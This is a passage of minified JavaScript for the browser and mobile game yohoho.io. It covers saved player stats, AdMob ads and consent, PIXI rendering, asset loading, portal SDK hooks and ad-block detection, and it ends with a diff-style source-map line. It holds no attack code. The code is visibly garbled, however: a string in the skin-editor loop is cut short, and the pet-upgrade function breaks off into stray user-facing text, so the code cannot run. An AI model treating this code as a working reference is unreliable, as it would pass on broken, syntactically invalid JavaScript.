NativeStorage)$e=!0,Oa=NativeStorage,Le="cordova",De=13,Ga("username","",function(e){document.getElementById("username").value=e||"",Ga("gamesStarted",0,function(e){ye=parseInt(e)||0,Ga("coinsOwned",0,function(e){Ni=parseInt(e)||0,Ga("playerXP",0,function(e){Wi=parseInt(e)||0,Ga("lastKills",0,function(e){Me=parseInt(e)||0,Ga("bestKills",0,function(e){ke=parseInt(e)||0,Ga("totalKills",0,function(e){Pe=parseInt(e)||0,Ga("lastScore",0,function(e){Se=parseInt(e)||0,Ga("bestScore",0,function(e){Ee=parseInt(e)||0,Ga("totalScore",0,function(e){Ce=parseInt(e)||0,Ga("lastGameTime",0,function(e){Be=parseInt(e)||0,Ga("bestGameTime",0,function(e){Te=parseInt(e)||0,Ga("totalGameTime",0,function(e){Xe=parseInt(e)||0,Ga("totalWins",0,function(e){Ae=parseInt(e)||0,Ga("playerSkin",1,function(e){U=parseInt(e)||1,Ga("playerPet",0,function(e){j=parseInt(e)||0,Ga("playerPetLevel",0,function(e){be=parseInt(e)||0,Ga("lastVideoAdEndedTime",0,function(e){Re=parseInt(e)||0,Ga("unlockedSkins","[1]",function(e){try{Oi=[1],Oi=JSON.parse(e)}catch(e){Oi=[1]}Ga("unlockedPets","[]",function(e){try{Gi=[],Gi=JSON.parse(e)}catch(e){Gi=[]}Ga("admobConsentAsked",!1,function(e){lt=!0===e,Ga("admobConsent",!0,function(e){dt=!0===e,t()})})})})})})})})})})})})})})})})})})})})})});else{try{var n=localStorage.getItem("quality");n&&Je(n),localStorage.getItem("username")&&(document.getElementById("username").value=localStorage.getItem("username")),localStorage.getItem("sessionId")&&(e=localStorage.getItem("sessionId")),ye=localStorage.getItem("gamesStarted")||0,Ni=parseInt(localStorage.getItem("coinsOwned"))||0,Wi=parseInt(localStorage.getItem("playerXP"))||0,Me=parseInt(localStorage.getItem("lastKills"))||0,ke=parseInt(localStorage.getItem("bestKills"))||0,Pe=parseInt(localStorage.getItem("totalKills"))||0,Se=parseInt(localStorage.getItem("lastScore"))||0,Ee=parseInt(localStorage.getItem("bestScore"))||0,Ce=parseInt(localStorage.getItem("totalScore"))||0,Be=parseInt(localStorage.getItem("lastGameTime"))||0,Te=parseInt(localStorage.getItem("bestGameTime"))||0,Xe=parseInt(localStorage.getItem("totalGameTime"))||0,Ae=parseInt(localStorage.getItem("totalWins"))||0,U=parseInt(localStorage.getItem("playerSkin"))||1,j=parseInt(localStorage.getItem("playerPet"))||0,be=parseInt(localStorage.getItem("playerPetLevel"))||0,Re=parseInt(localStorage.getItem("lastVideoAdEndedTime"))||0,Le=localStorage.getItem("initialRef")||"";try{Oi=[1],localStorage.getItem("unlockedSkins")&&(Oi=JSON.parse(localStorage.getItem("unlockedSkins")))}catch(e){Oi=[1]}try{Gi=[],localStorage.getItem("unlockedPets")&&(Gi=JSON.parse(localStorage.getItem("unlockedPets")))}catch(e){Gi=[]}if(localStorage.getItem("abBotSkillLevel"))De=parseInt(localStorage.getItem("abBotSkillLevel")),-1!==[1,2,3,4,5,6,7,8,9,10,11,12].indexOf(De)&&(De=13,Oa.setItem("abBotSkillLevel",De));else{var i=[17,18,19,20];De=i[Math.floor(Math.random()*i.length)],Oa.setItem("abBotSkillLevel",De)}try{"undefined"!=typeof aiptag&&(aiptag.subid="ab"+De)}catch(e){}try{if(0==Le.length){var fduue = true; if(fduue){if(Le="direct",location.search.length>0){var a=new URLSearchParams(location.search);a.has("ref")&&(Le=a.get("ref"))}}else{var o=document.referrer.split("/")[2].split(".");Le="co"==o[o.length-2]||"com"==o[o.length-2]?o.slice(-3).join("."):o.slice(-2).join(".")}Oa.setItem("initialRef",Le)}}catch(e){console.error(e)}}catch(e){console.error(e)}t()}}(function(){if(window.cordova&&admob)try{var e={ios:{app:"ca-app-pub-4246007397252731~5537735669",interstitial:"ca-app-pub-4246007397252731/2281016930"},android:{app:"ca-app-pub-4246007397252731~6130500710",interstitial:"ca-app-pub-4246007397252731/8160115294"}},t=/(android)/i.test(navigator.userAgent)?e.android:e.ios;console.log("admob id",t),admob.setOptions({appId:t.app,interstitialAdId:t.interstitial},function(e){console.log("Admob options set",e)},function(e){console.error("Error setting admob options",e)}),document.addEventListener(admob.events.onAdLoaded,st),document.addEventListener(admob.events.onAdFailedToLoad,ht),document.addEventListener(admob.events.onAdOpened,ct),document.addEventListener(admob.events.onAdClosed,pt),document.addEventListener(admob.events.onAdLeftApplication,gt),lt||async function(e){if(e&&await consent.addTestDevice(e),console.log("consent status",await consent.checkConsent(["pub-4246007397252731"])),!await consent.isRequestLocationInEeaOrUnknown())return void console.log("User is not in EEA, consent not needed");console.log("show consent form");const t=new consent.Form({privacyUrl:"privacypolicy.html",adFree:!1,nonPersonalizedAds:!0,personalizedAds:!0});return await t.load(),await t.show()}().then(async({consentStatus:e})=>{console.log("new consentStatus",e),dt="PERSONALIZED"===e,lt=!0,Oa.setItem("admobConsent",dt),Oa.setItem("admobConsentAsked",lt)}),rt=!1,gamesPlayed>=2&&mt(!1)}catch(e){}PIXI.ticker.shared.stop();PIXI.utils.isWebGLSupported()||("canvas",document.getElementById("no-webgl-popup")&&(document.getElementById("no-webgl-popup").style.display="block")),(L=PIXI.autoDetectRenderer(256,256,{antialias:!0,transparent:!1,resolution:ce*Ue,preserveDrawingBuffer:!1})).plugins.interaction&&(L.plugins.interaction.destroy(),L.plugins.interaction=null),L.view.addEventListener("touchstart",Qt,!0),L.view.addEventListener("touchmove",Qt,!0),L.view.addEventListener("touchend",Qt,!0),L.view.addEventListener("touchcancel",Qt,!0),window.addEventListener("resize",fn,!0),window.addEventListener("mousemove",Jt,!0),L.view.addEventListener("mousedown",Zt,!0),L.view.tabindex=1,window.addEventListener("mouseup",$t,!0),window.addEventListener("wheel",yn,!0),window.addEventListener("keydown",mn,!0),window.addEventListener("keyup",un,!0),window.oncontextmenu=function(){return!1},L.view.style.display="none",L.backgroundColor=1289136,L.view.style.position="fixed",L.view.style.top=0,L.view.style.left=0,L.autoResize=!0,void 0!==document.body&&null!==document.body||console.error("document.body is null","readyState=",document.readyState),document.body.appendChild(L.view),H=new PIXI.Container,R=new PIXI.Container,H.addChild(R),D=new PIXI.Container,H.addChild(D),O=new PIXI.Container,H.addChild(O),W=new PIXI.Container,H.addChild(W),G=new PIXI.Container,H.addChild(G),N=new PIXI.Container,H.addChild(N),F=new PIXI.Container,H.addChild(F),z=new PIXI.Container,H.addChild(z),K=new PIXI.Container,H.addChild(K),_=new PIXI.Container,H.addChild(_),Y=new PIXI.Container,H.addChild(Y),q=new PIXI.Container,J=new PIXI.Container,MainLoop.setBegin(Pn).setUpdate(Xi).setDraw(Ai).setEnd(Di),PIXI.loader.add("spritesheet","img/spritesheet4-.json").add("spritesheet2","img/spritesheet4-2.json").add("spritesheet3","img/spritesheet4-3.json").add("spritesheet4","img/spritesheet4-4.json").add("01g","img/01g.jpg").add("02g","img/02g.jpg").add("03g","img/03g.jpg").add("04g","img/04g.jpg").add("05g","img/05g.jpg").add("minimap","img/minimap.png").add("flag","img/flag.svg.raw").add("ndata").add("hint1","img/mobile-hint-1.png").add("hint2","img/mobile-hint-2.png").load(function(e,t){for(var n in console.log("Resources loaded"),t)if(t[n].error){console.error("error loading asset",t[n].error),Wa("Error loading game images, please reload the page. Clear your browser cache if this happens repeatedly."),t[n].error,-1!==document.location.search.indexOf("cachebust")?document.location.reload():document.location.search=document.location.search.length>1?document.location.search+"&cachebust="+Math.floor(1e7*Math.random()):"?cachebust="+Math.floor(1e7*Math.random());break}for(var i in void 0===(V=t.spritesheet.textures)&&(console.error("textures are invalid",t["img/spritesheet.json"]),Wa("Error loading game images, please reload the page. Clear your browser cache if this happens repeatedly.")),PIXI.loader.resources.spritesheet2.textures)V[i]=PIXI.loader.resources.spritesheet2.textures[i];for(var i in PIXI.loader.resources.spritesheet3.textures)V[i]=PIXI.loader.resources.spritesheet3.textures[i];for(var i in PIXI.loader.resources.spritesheet4.textures)V[i]=PIXI.loader.resources.spritesheet4.textures[i];if(V["01g"]=t["01g"].texture,V["02g"]=t["02g"].texture,V["03g"]=t["03g"].texture,V["04g"]=t["04g"].texture,V["05g"]=t["05g"].texture,V.minimap=t.minimap.texture,V.hint1=t.hint1.texture,V.hint2=t.hint2.texture,Dt=t.ndata.data.split(/\r?\n/),function(){if(PIXI.loader.resources.flag&&!$e)try{document.getElementById("flag").innerHTML=PIXI.loader.resources.flag.data,setTimeout(function(){var e=document.getElementById("flag").getElementsByTagName("svg")[0],t=new Warp(e);t.interpolate(256),t.transform(function(e){return[e[0],e[1],e[1]]});var n=0,i=function(){pe&&!Wt||(t.transform(function(e){return[e[0],e[2]+8*Math.sin(e[0]/64+n),e[2]]}),n+=.05),requestAnimationFrame(i)};i()})}catch(e){console.error(e)}}(),window.cordova&&!tt){try{ze=!localStorage.getItem("vibration")||"true"===localStorage.getItem("vibration")}catch(e){}var a=document.createElement("img");a.setAttribute("id","vibrate-button"),a.setAttribute("src","img/vibration-"+(ze?"on":"off")+".png"),a.addEventListener("click",function(){ze=!ze;try{localStorage.setItem("vibration",ze)}catch(e){}a.setAttribute("src","img/vibration-"+(ze?"on":"off")+".png")}),document.getElementById("homepage-content").appendChild(a)}if(document.getElementById("homepage-loading").style.display="none",document.getElementById("homepage-loaded").style.display="block","undefined"!=typeof PokiSDK){PokiSDK.gameLoadingFinished();var o=document.getElementById("banner-on-homepage");o.parentNode.removeChild(o),document.getElementById("homepage-content").appendChild(o),$e?PokiSDK.displayAd(o,"320x50"):window.innerWidth>=728&&PokiSDK.displayAd(o,"728x90")}if(window.cordova)try{"undefined"!=typeof AndroidFullScreen&&AndroidFullScreen.immersiveMode(),StatusBar.hide()}catch(e){}if(window.cordova&&navigator.splashscreen&&setTimeout(function(){navigator.splashscreen.hide()},1e3),(Q=new PIXI.Sprite(V.circle)).visible=!1,Q.tint=0,Q.alpha=.1,Q.anchor.set(.5),(Z=new PIXI.Sprite(V.circle)).visible=!1,Z.tint=0,Z.alpha=.3,Z.anchor.set(.5),J.addChild(Q),J.addChild(Z),_t(!0),$e&&document.getElementById("cross-promo")&&(document.getElementById("cross-promo").style.display="none"),ma(),(Ke||_e||qe||Ye)&&document.getElementById("portal-button")&&(document.getElementById("portal-button").style.display="none"),Ye)try{document.getElementById("cp-iframe").src+="&cg=1"}catch(e){console.error(e)}if(document.getElementById("skin-editor")){var r="";for(var d in V)r+='";document.getElementById("skin-editor-game-sprites").innerHTML=r,document.getElementById("skin-editor-input2").addEventListener("change",function(){var e=document.getElementById("skin-editor-input2").files[0],t=new FileReader;t.onload=function(){var e="data:image/png;base64,"+btoa(String.fromCharCode.apply(null,new Uint8Array(t.result))),n=document.createElement("img");n.src=e,V[document.getElementById("skin-editor-game-sprites").value]=PIXI.Texture.fromImage(n.src),document.getElementById("skin-editor-input2").value=""},t.readAsArrayBuffer(e)})}}),Na(),k||(document.getElementById("mobile-controls").innerHTML="Mobile: tap to attack, tap and hold to move"),$e?document.getElementById("desktop-controls").style.display="none":document.getElementById("mobile-controls").style.display="none",document.getElementById("homepage-league").innerHTML=ni[di(Wi)],document.getElementById("homepage-booty").innerHTML=Ni,tt&&!window.navigator.standalone&&ye<10&&!window.cordova&&"undefined"==typeof PokiSDK&&(document.getElementById("ios-fs-popup").style.display="block"),Ha();try{"undefined"!=typeof aiptag&&document.getElementById("homepage").classList.contains("ipad-promo")?aiptag.cmd.display.push(function(){aipDisplayTag.display("yohoho-io_300x250")}):he&&document.getElementById("homepage").classList.contains("ipad-promo")&&document.getElementById("yohoho-io_300x250").appendChild(ti(300,250))}catch(e){console.error(e)}if(wi(),Qe=function(){var e=!1,t=document.createElement("div");if(t.setAttribute("class","pub_300x250 pub_300x250m pub_728x90 text-ad textAd text_ad text_ads text-ads text-ad-links ad-text adSense adBlock adContent adBanner"),t.setAttribute("style","width: 1px ! important; height: 1px !important; position: absolute !important; left: -10000px !important; top: -1000px !important;"),window.document.body.appendChild(t),null!==window.document.body.getAttribute("abp")||null===t.offsetParent||0==t.offsetHeight||0==t.offsetLeft||0==t.offsetTop||0==t.offsetWidth||0==t.clientHeight||0==t.clientWidth)e=!0;else if(void 0!==window.getComputedStyle){var n=window.getComputedStyle(t,null);!n||"none"!=n.getPropertyValue("display")&&"hidden"!=n.getPropertyValue("visibility")||(e=!0)}return window.document.body.removeChild(t),e}(),!window.cordova){Ka();try{(navigator.language.startsWith("ru")||navigator.language.startsWith("uk"))&&(document.getElementById("portal-button").getElementsByTagName("a")[0].href="http://vseigru.net",document.getElementById("portal-button").getElementsByTagName("a")[0].innerHTML="More Games")}catch(e){console.error(e)}}"undefined"!=typeof FBInstant&&FBInstant.startGameAsync().then(function(){FBInstant.context.getID(),FBInstant.context.getType(),FBInstant.player.getName(),FBInstant.player.getPhoto(),FBInstant.player.getID();game.start(),document.getElementById("username").value=FBInstant.player.getName()});try{var n=L.view.getContext("webgl"),i=n.getExtension("WEBGL_debug_renderer_info");He=n.getParameter(i.UNMASKED_VENDOR_WEBGL)+" | "+n.getParameter(i.UNMASKED_RENDERER_WEBGL)}catch(e){console.error(e)}})}function Ya(){window.cordova&&navigator.splashscreen&&navigator.splashscreen.show(),window.cordova?document.addEventListener("deviceready",_a,!1):_a()}"undefined"!=typeof FBInstant?FBInstant.initializeAsync().then(function(){PIXI.loader.onProgress.add(function(e){FBInstant.setLoadingProgress(e.progress)}),_a()}):"loading"!==document.readyState?Ya():document.addEventListener("DOMContentLoaded",Ya,!1),window.addEventListener("beforeunload",function(e){});var qa={clickPlay:at,videoEnded:ft,setQuality:Je,chooseSkin:function(){document.getElementById("skin-popup-booty").innerHTML=Ni,document.getElementById("skin-popup").style.display="block",va(0)},closeSkinSelector:function(){document.getElementById("skin-popup").style.display="none"},switchSkinCategory:va,upgradePet:function(){if(be+1Your browser is blocking Google API. Unblock to sign-in with Google.')},aipPlayerCreated:function(){Ka()}};return qa}(); +//# sourceMappingURL=yohoho.js.map \ No newline at end of file